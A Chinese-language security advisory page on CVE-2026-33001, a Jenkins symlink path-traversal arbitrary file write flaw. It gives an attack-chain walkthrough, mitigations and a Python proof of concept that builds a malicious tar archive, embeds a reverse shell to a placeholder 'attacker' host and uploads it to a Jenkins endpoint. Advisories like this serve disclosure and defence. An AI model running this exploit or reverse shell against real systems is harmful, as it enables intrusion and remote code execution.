IPBUF安全漏洞报告
English
CVE-2026-33001 CVSS 8.8 高危

CVE-2026-33001 Jenkins符号链接路径遍历任意文件写入漏洞

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-33001
漏洞类型
符号链接攻击/路径遍历/任意文件写入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Jenkins

相关标签

CVE-2026-33001Jenkins符号链接攻击路径遍历任意文件写入高危漏洞权限提升持久化控制远程代码执行tar提取漏洞

漏洞概述

Jenkins 2.554及更早版本和LTS 2.541.2及更早版本存在一个严重的安全漏洞,该漏洞源于在提取.tar和.tar.gz存档文件时未对符号链接进行安全处理。攻击者可以通过精心构造包含符号链接的存档文件,将文件写入文件系统上的任意位置,其写入位置仅受限于运行Jenkins进程用户的文件系统权限。此漏洞具有极高的危害性,CVSS评分达到8.8分,属于高危漏洞。攻击者利用此漏洞可以在Jenkins控制器上部署恶意脚本或插件,从而实现持久化控制和进一步的攻击行为。该漏洞需要攻击者具备Item/Configure权限或能够控制agent进程才能被利用。

技术细节

该漏洞的根本原因在于Jenkins的存档文件提取功能在处理.tar和.tar.gz文件时,没有对存档中包含的符号链接进行安全验证。当Jenkins提取这些存档文件时,如果存档中包含指向任意路径的符号链接,这些链接会被解析并创建指向目标位置的文件。具体来说:1) 攻击者首先创建一个.tar或.tar.gz存档文件,其中包含符号链接和恶意内容;2) 符号链接指向Jenkins系统目录中的目标文件,如Jenkins的主目录、插件目录或脚本目录;3) 当Jenkins提取该存档时,符号链接被解析,导致恶意文件被写入攻击者指定的位置;4) 由于Jenkins进程通常以较高权限运行,攻击者可以覆盖关键配置文件、脚本或插件文件;5) 下次Jenkins重启或相关服务加载时,被植入的恶意代码将被执行,从而实现远程代码执行或持久化控制。

攻击链分析

STEP 1
步骤1:侦察和信息收集
攻击者首先识别目标Jenkins服务器版本,确认其版本号在漏洞影响范围内(Jenkins < 2.555或LTS < 2.541.3),并评估服务器配置和可访问性。
STEP 2
步骤2:获取访问权限
攻击者需要获得Jenkins的Item/Configure权限,或者能够控制Jenkins agent节点。可以通过凭据猜测、社会工程、已泄露的账户或利用其他漏洞来实现初始访问。
STEP 3
步骤3:制作恶意存档文件
攻击者创建一个包含符号链接的.tar或.tar.gz存档文件。符号链接指向Jenkins服务器上的敏感文件位置(如用户主目录、插件目录或配置目录),同时存档中包含恶意内容(恶意脚本、插件或配置文件)。
STEP 4
步骤4:上传并触发提取
通过Jenkins的存档上传功能(如Maven安装源上传、插件上传或其他支持存档提取的功能)将恶意存档文件上传到Jenkins服务器,触发自动提取过程。
STEP 5
步骤5:符号链接解析与文件写入
Jenkins在提取存档时,符号链接被解析,恶意文件内容通过符号链接被写入到攻击者指定的任意位置。写入位置受Jenkins进程权限限制,通常可以覆盖配置文件、脚本和插件文件。
STEP 6
步骤6:实现持久化或远程代码执行
恶意文件被写入目标位置后,攻击者可以通过修改的脚本、插件或配置实现持久化控制、远程代码执行或其他恶意操作,如部署后门、窃取凭据或横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2026-33001 PoC - Jenkins Symbolic Link Arbitrary File Write # This PoC demonstrates creating a malicious tar archive with symbolic links import tarfile import os import io def create_malicious_tar(): """ Create a malicious tar archive containing symbolic links that can write files to arbitrary locations on Jenkins server """ # Create the malicious tar archive in memory tar_buffer = io.BytesIO() with tarfile.open(fileobj=tar_buffer, mode='w', format=tarfile.PAX_FORMAT) as tar: # Create a regular file that will be written via symlink malicious_content = b'#!/bin/bash\n# Malicious script injected via CVE-2026-33001\n# This could contain reverse shell or other malicious code\n/bin/bash -i >& /dev/tcp/attacker/4444 0>&1\n' info = tarfile.TarInfo(name='../../../../../../var/jenkins_home/userContent/malicious.sh') info.size = len(malicious_content) tar.addfile(info, io.BytesIO(malicious_content)) # Create symlink entry pointing to Jenkins plugin directory # This allows overwriting existing plugin files link_info = tarfile.TarInfo(name='plugin.txt') link_info.type = tarfile.SYMTYPE link_info.linkname = '../../../../../../var/jenkins_home/plugins/evilPlugin.jpi' tar.addfile(link_info) # Alternative: Symlink to overwrite config files config_link = tarfile.TarInfo(name='config.xml') config_link.type = tarfile.SYMTYPE config_link.linkname = '../../../../../../var/jenkins_home/config.xml' tar.addfile(config_link) return tar_buffer.getvalue() def exploit_jenkins(target_url, tar_data): """ Upload and extract malicious tar archive on Jenkins Requires Item/Configure permission or agent process control """ import requests # Upload the malicious archive upload_url = f"{target_url}/descriptorByName/hudson.tasks.Maven/installSource/upload" files = { 'upload': ('malicious.tar.gz', tar_data, 'application/x-gzip') } # Send the malicious archive response = requests.post(upload_url, files=files) return response.status_code == 200 if __name__ == '__main__': print("CVE-2026-33001 PoC - Jenkins Symbolic Link Attack") print("Target: Jenkins <= 2.554 or LTS <= 2.541.2") print("\nCreating malicious tar archive...") malicious_tar = create_malicious_tar() print(f"Generated tar archive: {len(malicious_tar)} bytes") # Save for manual testing with open('malicious_archive.tar.gz', 'wb') as f: f.write(malicious_tar) print("Archive saved as 'malicious_archive.tar.gz'") print("\nNote: This PoC is for educational and security research purposes only.")

影响范围

Jenkins < 2.555
Jenkins LTS < 2.541.3

防御指南

临时缓解措施
如果无法立即升级Jenkins版本,可采取以下临时缓解措施:1) 严格限制用户权限,特别是Item/Configure权限,确保只有受信任的管理员拥有此权限;2) 审查并限制对agent节点的控制访问,防止攻击者通过agent进程利用此漏洞;3) 监控Jenkins服务器上的文件写入操作,特别关注插件目录和配置目录;4) 考虑使用容器化或沙箱环境隔离Jenkins进程,限制其对敏感目录的写入权限;5) 实施网络隔离措施,限制Jenkins服务器的网络访问范围;6) 启用审计日志,记录所有存档上传和提取操作,便于事后分析和溯源。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表